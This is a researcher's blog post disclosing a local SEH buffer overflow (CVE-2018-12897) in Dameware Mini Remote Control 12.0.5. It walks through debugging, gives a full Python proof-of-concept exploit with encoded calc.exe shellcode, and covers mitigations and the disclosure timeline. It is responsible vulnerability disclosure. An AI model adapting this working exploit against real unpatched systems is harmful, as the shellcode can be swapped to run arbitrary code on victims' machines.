Dameware Mini Remote Control (MRC) is a remote administration utility allowing remote access to end user devices for a variety of purposes. You can often find it among the plethora of toolkits used by system administrators managing the IT infrastructure in organisations.
Having recently completed my OSCE and looking to use some of the skills I picked up there in the real world, I found a local buffer overflow vulnerability in the latest version (at the time of writing) for Dameware MRC (12.0.5) and it has been assigned CVE-2018-12897. This vulnerability is due to insecure handling of a user input buffer which ultimately allows for overwriting Structured Exception Handler (SEH) addresses and the subsequent hijacking of execution flow.
Below is a video demonstration of exploitation for proof of concept of this vulnerability.
Solarwinds have been contacted about this issue who have acknowledged it and have released a version which reportedly contains the fix for the vulnerability, version 12.1. However, at the time of writing, this version doesn’t appear to be available from the customer portal and if you are affected by this issue, it is recommended that you request it directly from customer support.
Method of Exploitation
One of the windows (AMT Settings) within in the GUI has several input fields. The majority of these fields lack appropriate input sanitization, leading to crashes when entering a large amount of input (more than 3,000 characters). However, for the proof of concept, only one of these fields was used; the “Host” field under the SOCKS Proxy Settings.
As a simple test for this vulnerability, a large number of characters can be entered into the field to observe the results. Sometimes it may be necessary to fuzz input fields and parameters, an automated process of entering varying amounts of different characters in sequence in an attempt to identify unexpected behaviour, however this was not the case in this instance. Simply using a large number of A’s (over 2000) or any other character would result in the application terminating unexpectedly.
Looking at this process in a debugger, it becomes clear what is happening. The input is being written to the stack and has overflown the SEH addresses. This is quickly visible by looking at the SEH chain in the debugger.
Following this process through, eventually we can see our A’s (0x41) being placed into EIP due to the corrupted SEH chain.
Interestingly though, the A’s aren’t displayed how they were entered and have been separated by null bytes (0x00). This is because the input buffer is processed as wide characters, with UTF-16 encoding. From here, the next step is to determine how many bytes are required before the overwrite happens and to find a suitable set of “POP, POP, RET” instructions. The buffer length before the overflow was identified using Metasploit’s helpful “pattern_create” and “pattern_offset” utilities, taking care to observe the bytes surrounding the overflow as the null bytes have to be discounted. As the DWRCC.EXE (main executable) is not being rebased on each execution, the instruction set found at address “0x00439D7D” was chosen. The executable was compiled without common protections, including ASLR which would have made hardcoding an address in the shellcode infeasible.
The next step is to overwrite the SEH and next SEH addresses with the address of the instruction found above and the op codes for a small jump over that address. Once executed, the execution flow should be then directed into the area of memory on the stack under our control. For both the address and the jump, UTF-16 characters were used so to avoid the null bytes. The payload looks like this at this point (most of the ‘A’s have been cropped for readability).
By placing a breakpoint on the first address of our “POP, POP, RET” instruction set, we can pause execution to step through and check everything is working as intended.
The breakpoint was hit which is the first hurdle down, now we just need to make sure it returns back and executes the jump instruction.
Great, so the jump was taken and we are now executing in a controllable area of memory. This is good news! The next step is to increase the padding and place some shellcode. Due to the wide characters, the shellcode to be used will need to be UTF-16 compatible. Luckily the alpha2 encoder in Metasploit has the ability to generate UTF-16 compatible shellcode. However, the one caveat is that it requires that a register holds the address of the beginning of the shellcode when the shellcode is executed. To achieve this, an offset would need to be calculated from an address which is unchanging on each runtime independent of the operating system version.
After taking into account the offset, the calculated value could then be placed into EAX right before the shellcode executes. To do this, a technique known as “venetian shellcode” could be used to execute operations in between the null bytes to get EAX to hold the required address. For this to work, the null bytes must be consumed by other harmless operations. This concept was new to me and so I thought I would give it a go here to see how it works using the simplest form of venetian shellcode There are some fantastic write-ups which discuss this technique and its history including Corelan’s tutorials and Fuzzysecurity (you can find links to both at the bottom of this post). Thanks for all your awesome work, guys! After combining everything together, we now have the following:
#!/usr/bin/python # # Adam Jeffreys - Nettitude # # Dameware Mini Remote Control x86 Buffer Overflow PoC # junk = "A" * 1672 padding = "\x41" * 31 nseh = u'\ueb16' + "C" seh = u'\u9d7d' + "C" align = "\x58\x73\x58\x73\x58\x73\x58\x73\x58\x73\x58\x73" + u'\u6004' # msfvenom -p windows/exec CMD=calc -f raw > payl.raw # ./alpha2 eax --unicode --uppercase < payl.raw # Payload below spawns a "calc.exe" process shellcode = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI" shellcode += "1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBAB" shellcode += "ABABAB30APB944JBKLK8CRKPKPKPS0E9IUNQ90S4TKPPNPTK1BLL4KQB" shellcode += "LTTK42MXLOVWOZO6NQKOFLOL31SLKRNLMP7QHOLMKQWW9RL2QB0WTK1B" shellcode += "LP4KOZOL4K0LLQBXYSOXKQZ10QDKQIMPKQYCDKPILX9SOJOYDKODTKKQ" shellcode += "XVNQKOVLWQ8OLMKQY7P8YPSEKFM3SMJXOKSMMTSEZDR8DKQHNDKQ8SS6" shellcode += "TKLL0KDKPXMLM18STKKT4KM1XPCYQ4MTO4QK1K31PYPZ21KOK0QO1OPZ" shellcode += "DKLRJKTMQMRJKQ4M55FRKPKPKPR038NQ4K2O3WKO9EWKJPX55R26QXFF" shellcode += "DUWMUMKOXUOLKVSLKZ3PKK9P45M5GKPGN3T2ROQZM00SKO8U2CQQRL2CKPA" payl = junk + nseh + seh + padding + align + shellcode print(payl) print("\nCopy and paste the above into the host field of the SOCKS proxy settings under the AMT Settings tab, then press the OK button. The payload above should result in a calc.exe process spawning. It can take a couple of attempts to work on a fresh install.")
I won’t go into too much detail about how it all works here but if you are interested, you should be able to get an evaluation copy of the software easily enough to have a go yourself! I’m sure there are many other ways to approach this (probably more elegant ways too!).
Finally, we can copy and paste in the constructed payload both inside and outside of the debugger to see what happens.
Several different mitigations for buffer overflows exist which can be implemented during compilation. In some situations, they can be bypassed but they still offer an added layer of protection to help prevent or increase the complexity required for exploitation of buffer overflows. These are not new and have been around for a good while now, its 2018 and yet still many applications are being compiled without these protections.
32 bit vs 64 bit
Due to the differences in the way that exceptions are handled between 32-bit and 64-bit applications, only the 32-bit version appears to be exploitable to run arbitrary code. The 64-bit version can be overflowed which will lead to a crash but there wouldn’t be any benefit in doing this from an attacking perspective.
Windows has some inbuilt protections which, when enabled, can help protect the end user from SEH based buffer overflow attacks. One of these, known as SEHOP (Structured Exception Handler Overflow Protection), enforces an integrity check of the SEH chain before permitting execution. It does this by creating a symbolic record at the end of the records and, at the point when an exception is raised, it checks to make sure that this is still present, thereby determining the integrity of the chain. If the integrity has been impaired, it will safely terminate the process. SEHOP can be enabled via Group Policy settings.
An older protection mechanism known as SAFESEH, can be set via a compilation flag. This works by comparing a table of known safe exception handler addresses with those in the chain before jumping to them. However, this technique has some downsides, one being including the requirement to recompile binaries with this flag to benefit from its protection.
A personal note
Having recently passed my OSCE exam (which was an amazing experience and I fully recommend), I was looking to find something I could use my new found skill set to practise on. Finding this (while not the most exciting) was certainly rewarding and taught me some additional techniques that I may not have otherwise come across. However, the teaching was done by security professionals who have written some insanely useful and easy to follow tutorials. I want to extend a big personal thank you to all who spend their time writing these tutorials and guides. Two of the guides I used for Venetian Shellcode can be found below but the entire set of guides are invaluable for exploit development.
- Corelan – https://www.corelan.be/index.php/2009/11/06/exploit-writing-tutorial-part-7-unicode-from-0x00410041-to-calc/
- Fuzzysecurity – http://www.fuzzysecurity.com/tutorials/expDev/5.html
- 15 June 2018 – Reported vulnerability to Solarwinds
- 25 June 2018 – Update from Solarwinds that development team would be in further contact
- 05 July 2018 – Contacted Solarwinds again to see if there had been any updates
- 06 August 2018 – Requested update, vendor acknowledged the vulnerability and reported that remediation work was underway
- 13 August 2018 – Vendor contacts Nettitude to inform them that version 12.1 has been released which contains a fix for the reported issue.
- 06 September 2018 – Public disclosure